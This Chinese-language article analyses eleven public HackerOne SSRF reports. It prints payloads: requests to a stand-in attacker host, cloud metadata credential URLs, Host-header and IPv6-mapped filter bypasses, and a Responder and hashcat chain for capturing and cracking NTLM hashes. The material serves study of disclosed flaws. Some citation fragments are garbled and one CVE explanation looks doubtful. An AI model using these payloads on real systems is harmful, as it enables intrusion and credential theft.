当前位置：首页 > article >正文

SSRF漏洞公开报告分析

article 2026/1/27 20:57:43

文章目录

- - 1. SSRF | 获取元数据 | 账户接管
  - 2. AppStore | 版本上传表单 | Blind SSRF
  - 3. HOST SSRF
  - - 一、为什么HOST修改不会影响正常访问
    - 二、案例
  - 4. Turbonomic 的终端节点 | SSRF 获取元密钥
  - - 一、介绍
    - 二、漏洞分析
  - 5. POST | Blind SSRF
  - 6. CVE-2024-40898利用 | SSRF + 泄露 NTLM
  - - 一、CVE介绍
    - 二、复现
    - 2. 破解哈希
  - 7. POST | SSRF
  - - Twilio Webhook 功能背景:
    - 2. 漏洞触发点
  - 8. CVE-2024-24806 | NodeJS | SSRF
  - - 🧨 漏洞编号：
    - 🛠️ 漏洞成因：
  - 9. IPv6绕过 IP黑名单
  - - 1. IPv6 映射地址解析缺陷
    - 2. 漏洞触发逻辑
    - 3. 漏洞利用条件
  - 10. GET | SSRF
  - - 🔁 复现步骤（Steps To Reproduce）
  - 11. 邮件应用程序中的盲SSRF
  - - 漏洞复现与验证：

1. SSRF | 获取元数据 | 账户接管

Autodesk | Report #3024673 - SSRF in Autodesk Rendering leading to account takeover | HackerOne

2. AppStore | 版本上传表单 | Blind SSRF

Nextcloud | Report #2925666 - Blind SSRF Vulnerability in Appstore Release Upload Form | HackerOne

攻击者提交以下恶意 URL，探测服务器是否访问了指定地址：
```
icon_url=http://attacker.com/log?payload=test
```
通过检查 attacker.com 的访问日志，若发现来自 AppStore 服务器的请求，则确认漏洞存在。

进一步利用：

icon_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取云服务器临时凭证

3. HOST SSRF

IBM | Report #2696271 - SSRF via host header let access localhost via https://go.dialexa.com | HackerOne

一、为什么HOST修改不会影响正常访问

✅ 实际请求是由目标服务器发出的，它会根据 URL 的主机名去解析 IP 并建立连接。

请求流程通常是这样的：

目标服务发出 HTTP 请求 -> 解析 URL 中的主机名 -> 建立 TCP 连接 -> 发送 HTTP 请求（包含 Host）

举例：

http复制编辑POST https://eva2.csdn.net/v3/xxx HTTP/1.1
Host: 127.0.0.1

此时：

TCP 连接建立在 eva2.csdn.net 这个域名解析出来的 IP 上
HTTP 请求头里的 Host 不影响实际连接目标

二、案例

攻击姿势：
篡改 Host 标头，诱导服务器向该地址发起内部请求。
示例请求：

GET /api/health HTTP/1.1
Host: 127.0.0.1:8080  # 篡改后的目标

攻击逻辑：

服务器代码使用 Host 标头动态生成内部请求：

internal_url = f"http://{request.headers['Host']}/admin"
requests.get(internal_url)  # 实际访问 http://127.0.0.1:8080/admin

请求仍发送到 victim.com 的公网 IP，但服务器自身会代理访问 127.0.0.1。

生效条件：

应用程序逻辑依赖 Host 标头构造请求地址。
服务器可访问本地或内网服务（如本地数据库、管理接口）。

4. Turbonomic 的终端节点 | SSRF 获取元密钥

IBM | Report #2697592 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

IBM | Report #2697601 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

一、介绍

Turbonomic 是一款用于混合云环境的资源优化与管理平台，其核心功能包括自动化资源分配、性能监控和成本优化。由于需要深度集成云服务、虚拟化平台及物理基础设施，Turbonomic 通常拥有高权限访问各类 API 和内部系统。
终端节点（Endpoint） 是 Turbonomic 对外提供 API 或管理接口的入口，若存在安全缺陷，可能成为攻击者渗透的突破口。

二、漏洞分析

触发点：
Turbonomic 的某个 API 终端节点接受用户可控的 URL 参数，用于请求外部资源（如获取监控数据、集成第三方服务）。
示例请求：
```
POST /api/v3/fetch-resource HTTP/1.1
Host: turbonomic.example.com
...
{"resource_url": "http://user-provided-url.com/data"
}
```
漏洞逻辑：
若后端未对 resource_url 进行合法性校验，攻击者可构造恶意 URL（如内网地址、云元数据接口），诱导 Turbonomic 服务器发起内部请求。

5. POST | Blind SSRF

Acronis | Report #1086206 - Blind SSRF vulnerability on cz.acronis.com | HackerOne

漏洞复现步骤（PoC）：

发送以下 POST 请求，在 address 参数中注入恶意 URL：

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: cz.acronis.com
...
address=http://jczo3ewu8jpfgyiajmkacspsnjtbh0.burpcollaborator.net/ssrf

服务器响应 200 OK，并触发对 Burp Collaborator 的 回调请求（来源 IP：109.123.216.85）。

漏洞影响：

允许未认证攻击者诱导 WordPress 向任意地址（包括内网服务）发起 HTTP 请求。
可进一步用于 内部网络探测、敏感数据泄露 或 网络放大攻击。

6. CVE-2024-40898利用 | SSRF + 泄露 NTLM

Internet Bug Bounty | Report #2612028 - important: Apache HTTP Server: SSRF with mod_rewrite in server/vhost context on Windows (CVE-2024-40898) | HackerOne

一、CVE介绍

漏洞编号：CVE-2024-40898

影响组件：Apache HTTP Server（Windows 平台）tenablecloud.cn+7hkcert.org+7腾讯云 - 产业智变云启未来+7

影响版本：2.4.0 至 2.4.61httpd.apache.org+2GitHub+2hkcert.org+2

漏洞类型：服务器端请求伪造（SSRF）hkcert.org+4阿里云漏洞库+4腾讯云 - 产业智变云启未来+4

CVSS v3 分数：7.5（高危）

修复版本：2.4.62腾讯云 - 产业智变云启未来+6tenablecloud.cn+6NVD+6

二、复现

搭建恶意 SMB 服务器：
使用 Responder 或 Impacket 监听 SMB 流量：
```
responder -I eth0 -wrf
```

触发 SSRF：
发送构造的请求至漏洞 URL：

GET /redirect?path=\\attacker-ip\share HTTP/1.1
Host: victim.com

捕获哈希：
Responder 将捕获服务器的 NetNTLMv2 哈希，保存为 hash.txt。

2. 破解哈希

使用 Hashcat 进行离线破解：

hashcat -m 5600 hash.txt /path/to/wordlist.txt

7. POST | SSRF

Rocket.Chat | Report #1886954 - Unauthenticated full-read SSRF via Twilio integration | HackerOne

Twilio Webhook 功能背景:

Twilio 集成：
Rocket.Chat 支持通过 Twilio 接收短信或语音通话通知。当 Twilio 接收到外部事件（如用户回复短信）时，会通过 Webhook 回调 将数据发送到 Rocket.Chat 的指定端点（如 /services/voip/events）。
参数处理：
Webhook 端点可能解析 Twilio 请求中的参数（如 Caller、From、RecordingUrl），并基于这些参数发起后续操作（如下载录音文件）。

2. 漏洞触发点

未过滤的 URL 参数：
若 Rocket.Chat 在处理 Twilio 回调时，直接使用用户可控的 URL 参数（如 RecordingUrl）发起 HTTP 请求，且未校验目标地址的合法性，攻击者可注入恶意 URL。
示例请求：
```
POST /services/voip/events HTTP/1.1
Host: rocket.chat.example.com
...
{"CallSid": "CAXXXXX","RecordingUrl": "http://169.254.169.254/latest/meta-data"  // 恶意注入
}
```
代码逻辑缺陷：
漏洞版本的 Rocket.Chat 可能直接调用类似 HTTP.get(RecordingUrl) 的代码，未限制目标地址范围。

8. CVE-2024-24806 | NodeJS | SSRF

🧨 漏洞编号：

CVE：CVE-2024-24806
影响组件：libuv（Node.js 使用的底层异步 I/O 库）
影响范围：所有 Node.js >= v10 的版本（只要依赖 libuv）

🛠️ 漏洞成因：

js复制编辑// 开发者检查是否包含内部网地址
const url = req.query.url;
if (url.includes('127.0.0.1') || url.includes('localhost')) {return res.status(403).send('Blocked');
}http.get(url); // ⚠️ 直接使用，易受攻击

攻击者输入：

http://aaaaaaaaaaa...aaa0x7f000001

由于字符串太长，开发者的检查逻辑不会发现结尾是 0x7f000001，但 libuv 在调用 getaddrinfo() 前会截断为：

复制编辑
0x7f000001

而这个实际上等价于：

复制编辑
127.0.0.1

最终 SSRF 成功！

9. IPv6绕过 IP黑名单

HackerOne | Report #2301565 - Server Side Request Forgery (SSRF) in webhook functionality | HackerOne

1. IPv6 映射地址解析缺陷

IPv4-mapped IPv6 格式：
根据 RFC 4291，IPv4 地址可嵌入 IPv6 地址中，格式为 ::ffff:<IPv4>（如 ::ffff:127.0.0.1）。
压缩表示：
IPv6 地址允许省略前导零，例如 ::ffff:a9fe:a9fe 等价于 ::ffff:169.254.169.254（AWS 元数据服务 IP）。

2. 漏洞触发逻辑

攻击载荷构造：
攻击者在 Webhook 的 URL 参数中使用压缩的 IPv6 映射地址，绕过对 169.254.169.254 的黑名单过滤。
示例：
```
header("Location: http://[::ffff:a9fe:a9fe]");  // 实际指向 169.254.169.254
```
服务器行为：
应用程序解析 URL 时未规范化 IPv6 地址，直接发起请求，导致访问内部服务。

3. 漏洞利用条件

输入控制：
Webhook 功能允许用户指定任意 URL。
缺乏规范化校验：
未对 IPv6 地址进行展开和标准化处理，且黑名单仅覆盖 IPv4 格式。
服务器出站权限：
服务器可访问内部网络或云元数据接口。

10. GET | SSRF

inDrive | Report #2300358 - SSRF in https://couriers.indrive.com/api/file-storage | HackerOne

🔁 复现步骤（Steps To Reproduce）

以 Burp Collaborator 为例展示漏洞触发过程：

发起如下请求（将 url 参数替换为你自己的 OAST 域名）：

GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com

查看响应内容 & Burp Collaborator 的日志，发现目标服务器发出了对你提供域名的请求，说明 SSRF 成立。

11. 邮件应用程序中的盲SSRF

Nextcloud | Report #1869714 - Blind SSRF in Mail App | HackerOne

漏洞复现与验证：

搭建监听服务：
使用 Burp Collaborator 或 Interactsh 生成唯一域名（如 ssrf-test.attacker.com）。
构造恶意邮件：
在邮件正文或附件中插入监听 URL：
```
<img src="http://ssrf-test.attacker.com">
```
发送邮件并监控：
观察监听服务是否收到来自邮件服务器的 HTTP/DNS 请求。
😕/hackerone.com/reports/1869714)